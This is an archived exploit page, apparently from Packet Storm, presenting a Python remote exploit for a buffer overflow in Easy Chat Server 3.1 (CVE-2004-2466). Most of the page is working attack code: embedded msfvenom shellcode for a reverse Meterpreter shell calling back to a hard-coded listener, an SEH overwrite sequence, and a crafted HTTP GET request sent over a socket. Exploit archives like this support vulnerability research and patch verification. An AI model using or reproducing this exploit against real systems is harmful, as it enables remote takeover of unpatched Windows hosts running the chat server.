what you don't know can hurt you

Easy Chat Server 3.1 Buffer Overflow

Easy Chat Server 3.1 Buffer Overflow
Posted Mar 17, 2018
Authored by r00tpgp

Easy Chat Server version 3.1 remote buffer overflow exploit.

tags | exploit, remote, overflow
advisories | CVE-2004-2466
MD5 | 87cfadf6d2f3e81cd61c19aaf7fb4b8c

Easy Chat Server 3.1 Buffer Overflow

Change Mirror Download
#!/usr/bin/python
# Easy Chat Server 3.1 Remote Exploit
# Written by r00tpgp @ http://www.r00tpgp.com
# Usage: python easychat-exploit.py <victim-ip> <port>
# Spawns reverse meterpreter LHOST=192.168.0.162 LPORT=1990
# CVE: CVE-2004-2466
# Installer: http://www.echatserver.com/
# Tested on Windows 7 32b SP1

import sys, socket, time

host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.162 LPORT=1990
-f python -b "\x00\x20"
buf = ""
buf += "\xbe\x4e\xdd\xd4\x27\xd9\xe9\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x54\x31\x73\x13\x83\xc3\x04\x03\x73\x41\x3f"
buf += "\x21\xdb\xb5\x3d\xca\x24\x45\x22\x42\xc1\x74\x62\x30"
buf += "\x81\x26\x52\x32\xc7\xca\x19\x16\xfc\x59\x6f\xbf\xf3"
buf += "\xea\xda\x99\x3a\xeb\x77\xd9\x5d\x6f\x8a\x0e\xbe\x4e"
buf += "\x45\x43\xbf\x97\xb8\xae\xed\x40\xb6\x1d\x02\xe5\x82"
buf += "\x9d\xa9\xb5\x03\xa6\x4e\x0d\x25\x87\xc0\x06\x7c\x07"
buf += "\xe2\xcb\xf4\x0e\xfc\x08\x30\xd8\x77\xfa\xce\xdb\x51"
buf += "\x33\x2e\x77\x9c\xfc\xdd\x89\xd8\x3a\x3e\xfc\x10\x39"
buf += "\xc3\x07\xe7\x40\x1f\x8d\xfc\xe2\xd4\x35\xd9\x13\x38"
buf += "\xa3\xaa\x1f\xf5\xa7\xf5\x03\x08\x6b\x8e\x3f\x81\x8a"
buf += "\x41\xb6\xd1\xa8\x45\x93\x82\xd1\xdc\x79\x64\xed\x3f"
buf += "\x22\xd9\x4b\x4b\xce\x0e\xe6\x16\x86\xe3\xcb\xa8\x56"
buf += "\x6c\x5b\xda\x64\x33\xf7\x74\xc4\xbc\xd1\x83\x2b\x97"
buf += "\xa6\x1c\xd2\x18\xd7\x35\x10\x4c\x87\x2d\xb1\xed\x4c"
buf += "\xae\x3e\x38\xf8\xa4\xa8\x03\x55\xb8\x8a\xec\xa4\xb9"
buf += "\xcd\x2a\x21\x5f\x81\xe2\x62\xf0\x61\x53\xc3\xa0\x09"
buf += "\xb9\xcc\x9f\x29\xc2\x06\x88\xc3\x2d\xff\xe0\x7b\xd7"
buf += "\x5a\x7a\x1a\x18\x71\x06\x1c\x92\x70\xf6\xd2\x53\xf0"
buf += "\xe4\x02\x02\xfa\xf4\xd2\xaf\xfa\x9e\xd6\x79\xac\x36"
buf += "\xd4\x5c\x9a\x98\x27\x8b\x98\xdf\xd7\x4a\xa9\x94\xe1"
buf += "\xd8\x95\xc2\x0d\x0d\x16\x13\x5b\x47\x16\x7b\x3b\x33"
buf += "\x45\x9e\x44\xee\xf9\x33\xd0\x11\xa8\xe0\x73\x7a\x56"
buf += "\xde\xb3\x25\xa9\x35\xc0\x22\x55\xcb\xe4\x8a\x3e\x33"
buf += "\xa8\x2a\xbf\x59\x28\x7b\xd7\x96\x07\x74\x17\x56\x82"
buf += "\xdd\x3f\xdd\x42\xaf\xde\xe2\x4f\x71\x7f\xe2\x63\xaa"
buf += "\x96\x6d\x84\x4d\x97\x8f\xb9\x9b\xae\xe5\xfa\x1f\x95"
buf += "\xf6\xb1\x02\xbc\x9c\xb9\x11\xbe\xb4"

junk = "A"*217
nseh = "\xeb\x06\x90\x90" # short jump 6 bytes
seh = "\x86\xae\x01\x10" # pop pop ret 1001AE86 SSLEAY32.DLL
nops = "\x90"*16

header = (
"GET /chat.ghp?username=" + junk + nseh + seh + nops + buf +
"&password=&room=1&sex=1 HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host: 192.168.1.136:80\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://192.168.1.136\r\n"
"Connection: Keep-Alive\r\n\r\n"
)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Declare a TCP
socket
client.connect((host, port)) # Connect to user supplied port and IP address
client.send(header) # Send the user command with a variable length name
client.close() # Close the Connection

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close